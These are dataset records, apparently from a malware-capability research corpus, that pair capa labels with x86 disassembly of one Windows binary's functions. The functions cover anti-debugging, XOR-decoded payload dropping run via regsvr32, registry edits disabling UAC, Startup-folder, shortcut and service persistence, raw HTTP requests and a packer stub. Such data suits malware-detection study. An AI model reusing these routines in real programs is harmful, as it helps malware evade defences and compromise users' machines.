joyce8/EMBER2024-capa huggingface dataset:
Function at 0x460e00
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 4], 0
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x134], eax
mov dword [ebp - 0x130], 0x128
lea eax, [ebp - 0x130]
push eax
mov ecx, dword [ebp - 0x134]
push ecx
call sub.KERNEL32.dll_Process32First
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x10c]
push eax
call fcn.00416693
add esp, 8
test eax, eax
jne 0x460e68
mov ecx, dword [ebp - 0x128]
mov dword [ebp - 4], ecx
jmp 0x460e7f
lea edx, [ebp - 0x130]
push edx
mov eax, dword [ebp - 0x134]
push eax
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x460e46
mov ecx, dword [ebp - 0x134]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret

Function at 0x460ea0
Capabilities:
Check for peb ntglobalflag flag

Disassembly:
push ebp
mov ebp, esp
push ecx
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x460eb5
mov eax, 1
jmp 0x460ed4
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0x68]
and eax, 0x70
mov dword [ebp - 4], eax
xor eax, eax
cmp dword [ebp - 4], 0
setne al
mov esp, ebp
pop ebp
ret

Function at 0x461060
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
push 4
push 0
lea ecx, [ebp - 8]
push ecx
call fcn.004067d0
add esp, 0xc
push 4
push 0
lea edx, [ebp - 0x14]
push edx
call fcn.004067d0
add esp, 0xc
push 0x40
push 0x3000
mov eax, dword [ebp - 0xc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp + 0x14]
mov dword [ecx], eax
mov edx, dword [ebp - 0xc]
push edx
push 0
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push ecx
call fcn.004067d0
add esp, 0xc
mov edx, dword [ebp - 0x10]
cmp edx, dword [ebp - 0xc]
jge 0x461145
push 4
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.00405d00
add esp, 0xc
mov edx, dword [ebp - 0x14]
xor edx, dword [ebp - 8]
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xc]
lea ecx, [ecx + eax - 4]
sub ecx, dword [ebp - 0x10]
mov dword [ecx], edx
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
mov ecx, dword [ebp - 0xc]
lea edx, [eax + ecx - 4]
sub edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0x10]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
mov edx, dword [ebp - 0xc]
lea eax, [eax + edx - 4]
sub eax, dword [ebp - 0x10]
mov dword [eax], ecx
push 4
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0x14]
push edx
call fcn.00405d00
add esp, 0xc
mov eax, dword [ebp - 0x10]
add eax, 4
mov dword [ebp - 0x10], eax
jmp 0x4610cd
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x461200
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1238
call fcn.00414680
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 8], eax
push 0x800
push 0
lea eax, [ebp - 0x1230]
push eax
call fcn.004067d0
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x4b0d20], 0
je 0x46125b
lea ecx, [ebp - 0xa30]
push ecx
push str.SoftWareWow6432NodeMicrosoftWindowsCurrentVersionUninstall
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.004603c0
add esp, 0xc
mov dword [ebp - 4], eax
jmp 0x461277
lea edx, [ebp - 0xa30]
push edx
push str.SoftWareMicrosoftWindowsCurrentVersionUninstall
push reloc.OLEAUT32.dll_SysReAllocString
call fcn.004603c0
add esp, 0xc
mov dword [ebp - 4], eax
mov dword [ebp - 0x1234], 0
jmp 0x461292
mov eax, dword [ebp - 0x1234]
add eax, 1
mov dword [ebp - 0x1234], eax
mov ecx, dword [ebp - 0x1234]
cmp ecx, dword [ebp - 4]
jge 0x4612d1
push 5
mov edx, dword [ebp - 0x1234]
imul edx, edx, 0x104
lea eax, [ebp + edx - 0xa30]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x1238], eax
mov dword [ebp - 0x1238], 0
jmp 0x461283
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret
Function at 0x4612e0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x5c], 0x94
mov byte [ebp - 0x5b], 0x88
mov byte [ebp - 0x5a], 0x81
mov byte [ebp - 0x59], 0x93
mov byte [ebp - 0x58], 0x90
mov byte [ebp - 0x57], 0x86
mov byte [ebp - 0x56], 0x95
mov byte [ebp - 0x55], 0x82
mov byte [ebp - 0x54], 0x9b
mov byte [ebp - 0x53], 0x8a
mov byte [ebp - 0x52], 0xae
mov byte [ebp - 0x51], 0xa4
mov byte [ebp - 0x50], 0xb5
mov byte [ebp - 0x4f], 0xa8
mov byte [ebp - 0x4e], 0xb4
mov byte [ebp - 0x4d], 0xa8
mov byte [ebp - 0x4c], 0xa1
mov byte [ebp - 0x4b], 0xb3
mov byte [ebp - 0x4a], 0x9b
mov byte [ebp - 0x49], 0x90
mov byte [ebp - 0x48], 0xae
mov byte [ebp - 0x47], 0xa9
mov byte [ebp - 0x46], 0xa3
mov byte [ebp - 0x45], 0xa8
mov byte [ebp - 0x44], 0xb0
mov byte [ebp - 0x43], 0xb4
mov byte [ebp - 0x42], 0x9b
mov byte [ebp - 0x41], 0x84
mov byte [ebp - 0x40], 0xb2
mov byte [ebp - 0x3f], 0xb5
mov byte [ebp - 0x3e], 0xb5
mov byte [ebp - 0x3d], 0xa2
mov byte [ebp - 0x3c], 0xa9
mov byte [ebp - 0x3b], 0xb3
mov byte [ebp - 0x3a], 0x91
mov byte [ebp - 0x39], 0xa2
mov byte [ebp - 0x38], 0xb5
mov byte [ebp - 0x37], 0xb4
mov byte [ebp - 0x36], 0xae
mov byte [ebp - 0x35], 0xa8
mov byte [ebp - 0x34], 0xa9
mov byte [ebp - 0x33], 0x9b
mov byte [ebp - 0x32], 0x97
mov byte [ebp - 0x31], 0xa8
mov byte [ebp - 0x30], 0xab
mov byte [ebp - 0x2f], 0xae
mov byte [ebp - 0x2e], 0xa4
mov byte [ebp - 0x2d], 0xae
mov byte [ebp - 0x2c], 0xa2
mov byte [ebp - 0x2b], 0xb4
mov byte [ebp - 0x2a], 0x9b
mov byte [ebp - 0x29], 0x94
mov byte [ebp - 0x28], 0xbe
mov byte [ebp - 0x27], 0xb4
mov byte [ebp - 0x26], 0xb3
mov byte [ebp - 0x25], 0xa2
mov byte [ebp - 0x24], 0xaa
mov byte [ebp - 0x23], 0xc7
push 1
lea eax, [ebp - 0x5c]
push eax
call fcn.00461000
add esp, 8
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 0x5c]
push edx
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov dword [ebp - 4], 0
push 4
lea eax, [ebp - 4]
push eax
push 4
push 0
push str.ConsentPromptBehaviorAdmin
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x46143b
xor eax, eax
jmp 0x461496
push 4
lea edx, [ebp - 4]
push edx
push 4
push 0
push str.EnableLUA
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x461461
xor eax, eax
jmp 0x461496
push 4
lea ecx, [ebp - 4]
push ecx
push 4
push 0
push str.PromptOnSecureDesktop
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x461487
xor eax, eax
jmp 0x461496
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov ecx, dword [ebp - 0x20]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret
Function at 0x4614b0
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
push 0
push 0x4607e0
call dword [sym.imp.USER32.dll_EnumWindows]
mov dword [ebp - 8], 0
jmp 0x4614dc
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
cmp ecx, dword [0x4b464c]
jae 0x46154b
lea edx, [ebp - 4]
push edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax*4 + 0x4b4650]
push ecx
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov dword [ebp - 0xc], 0
jmp 0x46150e
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp + 0xc]
jge 0x461549
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
cmp dword [edx + ecx*4], 0
jne 0x461524
jmp 0x461505
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + eax*4]
cmp edx, dword [ebp - 4]
jne 0x461547
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx*4 + 0x4b4650]
push edx
call dword [sym.imp.USER32.dll_SetParent]
jmp 0x461505
jmp 0x4614d3
mov esp, ebp
pop ebp
ret

Function at 0x461550
Capabilities:
Copy file
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2b4
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x50
lea eax, [ebp - 0xa8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00460ad0
add esp, 0xc
test eax, eax
je 0x46169f
push 1
push 0x1a
lea edx, [ebp - 0x2b0]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x461634
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x2b0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCpyW]
mov dword [ebp - 0x2b4], 0
push 0x5c
lea edx, [ebp - 0x2b0]
push edx
call fcn.00406ed1
add esp, 4
lea eax, [ebp + eax*2 - 0x2b0]
push eax
lea ecx, [ebp - 0x2b0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrRChrW]
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0
jne 0x4615f2
xor eax, eax
jmp 0x4616a1
mov edx, dword [ebp - 0x2b4]
add edx, 2
mov dword [ebp - 0x2b4], edx
xor eax, eax
mov ecx, dword [ebp - 0x2b4]
mov word [ecx], ax
lea edx, [ebp - 0xa8]
push edx
lea eax, [ebp - 0x2b0]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCatW]
push str..exe
lea ecx, [ebp - 0x2b0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCatW]
jmp 0x46166c
push 0x4871b4
lea edx, [ebp - 0x2b0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrCatW]
lea eax, [ebp - 0xa8]
push eax
lea ecx, [ebp - 0x2b0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrCatW]
push 0x4871b8
lea edx, [ebp - 0x2b0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrCatW]
push 0
lea eax, [ebp - 0x2b0]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x46169b
lea edx, [ebp - 0x2b0]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.SHLWAPI.dll_StrCpyW]
mov eax, 1
jmp 0x4616a1
xor eax, eax
jmp 0x4616a1
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret
Function at 0x4616b0
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.004067d0
add esp, 0xc
push 0
push 0x18
lea edx, [ebp - 0x210]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movzx ecx, word [ebp + eax*2 - 0x212]
cmp ecx, 0x5c
jne 0x461722
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x461745
push 0x487160
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00460820
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret

Function at 0x461770
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.004067d0
add esp, 0xc
push 0
push 0x19
lea edx, [ebp - 0x210]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
movzx ecx, word [ebp + eax*2 - 0x212]
cmp ecx, 0x5c
jne 0x4617e2
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x461805
push 0x48715c
lea ecx, [ebp - 0x210]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov edx, dword [ebp + 0xc]
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x210]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00460820
add esp, 0x10
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret
Function at 0x461e70
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push 0
push 6
push 4
push 0
push 0
push 0xc0000000
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x461e9f
xor eax, eax
jmp 0x461f54
push 0x4870b4
movzx ecx, word [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 4], eax
mov edx, dword [ebp - 4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 4], 0
je 0x461f48
cmp dword [ebp - 8], 0
je 0x461f48
cmp dword [ebp - 0x10], 0
je 0x461f48
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x1c]
push ecx
push 0x49a3f8
mov edx, dword [ebp - 4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov eax, dword [ebp - 0x10]
push eax
call fcn.00461060
add esp, 0x10
mov dword [ebp - 0x18], eax
push 0
lea ecx, [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x8000
push 0
mov eax, dword [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, 1
jmp 0x461f54
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x461f60
Capabilities:
Create directory
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x630
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 4], eax
push 1
push 0x1a
lea eax, [ebp - 0x630]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x461f9e
push str.C:WINDOWS
lea ecx, [ebp - 0x630]
push ecx
call fcn.00407253
add esp, 8
push str._apps_
lea edx, [ebp - 0x630]
push edx
call fcn.00407225
add esp, 8
push 0
lea eax, [ebp - 0x630]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push str.tb.dll
lea ecx, [ebp - 0x630]
push ecx
call fcn.00407225
add esp, 8
lea edx, [ebp - 0x630]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00461e70
add esp, 8
mov dword [ebp - 0x424], 0x104
lea ecx, [ebp - 0x424]
push ecx
lea edx, [ebp - 0x420]
push edx
lea eax, [ebp - 0x630]
push eax
call fcn.00460f40
add esp, 0xc
lea ecx, [ebp - 0x420]
push ecx
push str.regsvr32___s___s
lea edx, [ebp - 0x110]
push edx
call fcn.00406065
add esp, 0xc
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret
Function at 0x462050
Capabilities:
Copy file
Create directory
Get common file path
Persist via lnk shortcut

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x624
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 4], eax
push 1
push 0x23
lea eax, [ebp - 0x620]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
jne 0x46208e
push 0x487010
lea ecx, [ebp - 0x620]
push ecx
call fcn.00407253
add esp, 8
push 0x487028
lea edx, [ebp - 0x620]
push edx
call fcn.00407225
add esp, 8
mov eax, dword [ebp + 0x10]
push eax
lea ecx, [ebp - 0x620]
push ecx
push str._s_s.lnk
lea edx, [ebp - 0x210]
push edx
call fcn.00405c10
add esp, 0x10
push 0
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ecx, dword [ebp + 0x10]
push ecx
lea edx, [ebp - 0x620]
push edx
call fcn.00407225
add esp, 8
push str..ico
lea eax, [ebp - 0x620]
push eax
call fcn.00407225
add esp, 8
lea ecx, [ebp - 0x620]
push ecx
push 0x78
call fcn.00461e70
add esp, 8
lea edx, [ebp - 0x620]
push edx
push 0
lea eax, [ebp - 0x210]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.00460820
add esp, 0x10
mov dword [ebp - 0x624], eax
push 1
push 0
lea edx, [ebp - 0x418]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
test eax, eax
je 0x4621a1
push 0
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x487058
lea ecx, [ebp - 0x418]
push ecx
call fcn.00407225
add esp, 8
mov edx, dword [ebp + 0x10]
push edx
lea eax, [ebp - 0x418]
push eax
call fcn.00407225
add esp, 8
push 0x48705c
lea ecx, [ebp - 0x418]
push ecx
call fcn.00407225
add esp, 8
push 0
lea edx, [ebp - 0x418]
push edx
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret
Function at 0x476c10
Capabilities:
Create service

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x314], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 0x314], 0
jne 0x476c4d
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
xor eax, eax
jmp 0x476d19
push 0
push 0
push 0
push 0
push 0
mov edx, dword [ebp - 4]
add edx, 4
push edx
push 1
push 3
push 1
push 0xf01ff
mov eax, dword [ebp - 4]
add eax, 0x20c
push eax
mov ecx, dword [ebp - 4]
add ecx, 0x108
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x314]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x318], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 0x318], 0
jne 0x476d14
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov edx, dword [ebp - 4]
cmp dword [edx], 0x431
jne 0x476d00
push 0xf01ff
mov eax, dword [ebp - 4]
add eax, 0x108
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x314]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ecx, dword [ebp - 4]
mov dword [ecx + 0x318], eax
mov edx, dword [ebp - 4]
cmp dword [edx + 0x318], 0
jne 0x476cfe
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x314]
push ecx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x476d19
jmp 0x476d14
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x314]
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor eax, eax
jmp 0x476d19
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x476f20
Capabilities:
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x20]
call fcn.00476d20
lea eax, [ebp - 0x1c]
push eax
push 1
mov ecx, dword [ebp - 0x20]
mov edx, dword [ecx + 0x318]
push edx
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x476f5a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
xor eax, eax
jmp 0x476f5f
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x4772c0
Capabilities:
Reference http user-agent string
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2008
call fcn.00414680
mov eax, dword [0x494494]
xor eax, ebp
mov dword [ebp - 4], eax
push str.GET
lea eax, [ebp - 0x2008]
push eax
call fcn.004064d0
add esp, 8
mov ecx, dword [ebp + 0x14]
push ecx
lea edx, [ebp - 0x2008]
push edx
call fcn.004064e0
add esp, 8
push str._HTTP_1.1_r_nHost:
lea eax, [ebp - 0x2008]
push eax
call fcn.004064e0
add esp, 8
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x2008]
push edx
call fcn.004064e0
add esp, 8
push str._r_nConnection:_Keep_Alive_r_nAccept:___r_nAccept_Language:_zh_CN_r_nUser_Agent:_Mozilla_5.0__Windows_NT_6.1__WOW64__Trident_7.0__rv:11.0__like_Gecko_r_n
lea eax, [ebp - 0x2008]
push eax
call fcn.004064e0
add esp, 8
cmp dword [ebp + 0x18], 0
je 0x47736c
mov ecx, dword [ebp + 0x28]
push ecx
mov edx, dword [ebp + 0x24]
push edx
mov eax, dword [ebp + 0x20]
push eax
mov ecx, dword [ebp + 0x1c]
push ecx
lea edx, [ebp - 0x2008]
push edx
push str._sRange:__u__u_r_n_r_n
lea eax, [ebp - 0x2008]
push eax
call fcn.00406065
add esp, 0x1c
jmp 0x4773ad
mov ecx, dword [ebp + 0x1c]
or ecx, dword [ebp + 0x20]
je 0x477399
mov edx, dword [ebp + 0x20]
push edx
mov eax, dword [ebp + 0x1c]
push eax
lea ecx, [ebp - 0x2008]
push ecx
push str._sRange:__u__r_n_r_n
lea edx, [ebp - 0x2008]
push edx
call fcn.00406065
add esp, 0x14
jmp 0x4773ad
push 0x48779c
lea eax, [ebp - 0x2008]
push eax
call fcn.004064e0
add esp, 8
push 0
lea ecx, [ebp - 0x2008]
push ecx
call fcn.00406200
add esp, 4
push eax
lea edx, [ebp - 0x2008]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4773ea
call fcn.00476f70
push eax
push str.Failed_to_send_HTTP_header._s_n
call dword [ebp + 0x2c]
add esp, 8
jmp 0x4773f1
mov eax, 1
jmp 0x4773f3
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00405ce8
mov esp, ebp
pop ebp
ret
Function at 0x477410
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 8], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 2
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x28]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x477488
call fcn.00476f70
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push str.Unable_to_resolve_host_name:_s._s_n
call dword [ebp + 0x14]
add esp, 0xc
jmp 0x4774eb
mov edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax + 0x10]
push ecx
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x18]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4774ac
jmp 0x4774bb
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x1c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x47748e
cmp dword [ebp - 4], 0
jne 0x4774da
call fcn.00476f70
push eax
mov ecx, dword [ebp + 0xc]
push ecx
push str.Unable_to_retrieve_the_host_name:_s._s_n
call dword [ebp + 0x14]
add esp, 0xc
jmp 0x4774eb
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
mov eax, 1
jmp 0x4774fd
cmp dword [ebp - 8], 0
je 0x4774fb
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x408ecc
nop
nop
mov ecx, 0x4a071504
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x42e1d0
nop
mov ecx, 0x7ec6d5d
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
popal
nop
nop
nop
nop
jmp 0x401219